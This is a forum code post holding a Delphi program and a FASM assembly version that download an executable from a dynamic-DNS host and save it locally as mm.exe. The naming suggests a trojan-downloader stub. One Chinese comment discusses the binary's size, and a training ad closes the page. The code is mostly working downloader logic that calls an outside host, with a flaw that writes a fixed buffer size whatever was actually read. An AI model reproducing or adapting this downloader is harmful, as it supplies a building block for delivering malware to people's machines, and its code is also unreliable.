program Project2;

uses
  Windows,Wininet;

const
  MM_URL = 'http://web7c.web163.badudns.cc/calc.exe';
  MM_FILE = 'mm.exe';

var
  hSession, hWww: HInternet;
  Buffer: array[1..114688] of Byte; //申明缓冲区 计算器大小 114688 Byte
  BufferLen: DWORD;
  hFile: DWORD;
  ppt : DWORD;

begin
  hSession := InternetOpen(nil, 0, nil, nil, 0);
  hWww := InternetOpenURL(hSession,PChar(MM_URL),nil,0,0,0);
  hFile := CreateFile(MM_FILE, GENERIC_WRITE, FILE_SHARE_READ or FILE_SHARE_WRITE, nil, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
  InternetReadFile(hWww, @Buffer,114688, BufferLen);
  WriteFile(hFile, Buffer, 114688, ppt, nil);
  CloseHandle(hFile);
end.

         format PE GUI 4.0

	 include 'win32a.inc'


	 MM_URL         db        'http://web7c.web163.badudns.cc/calc.exe', 0
	 MM_FILE        db        'mm.exe', 0
	 hSession       dd        ?
	 hWww           dd        ?
	 Buffer         db        114688 dup ?      ;这里申明缓冲区是错的吧？编译出的都一百多K了
	 BufferLen      dd        ?
	 hFile          dd        ?
	 ppt            dd        ?


	 entry $

	        invoke InternetOpen, NULL, 0, NULL, NULL, 0
		mov    [hSession], eax

		invoke InternetOpenURL, [hSession], MM_URL, NULL, 0, 0, 0
		mov    [hWww], eax

		invoke CreateFile, MM_FILE, GENERIC_WRITE, FILE_SHARE_READ or FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0
		mov    [hFile], eax

		invoke InternetReadFile, [hWww], Buffer, 114688, [BufferLen]

		invoke WriteFile, [hFile], Buffer, 114688, [ppt], NULL

		invoke CloseHandle, [hFile]

		invoke ExitProcess, 0


	 data import

	        library wininet, 'wininet.dll', \
		        kernel32, 'kernel32.dll'

	        import wininet, \
		       InternetOpen, 'InternetOpenA', \
		       InternetOpenURL, 'InternetOpenUrlA', \
		       InternetReadFile, 'InternetReadFile'

		import kernel32, \
		       CreateFile, 'CreateFileA', \
		       WriteFile, 'WriteFile', \
		       CloseHandle, 'CloseHandle', \
		       ExitProcess, 'ExitProcess'

	 end data

[招生]科锐逆向工程师培训(2024年11月15日实地，远程教学同时开班, 第51期)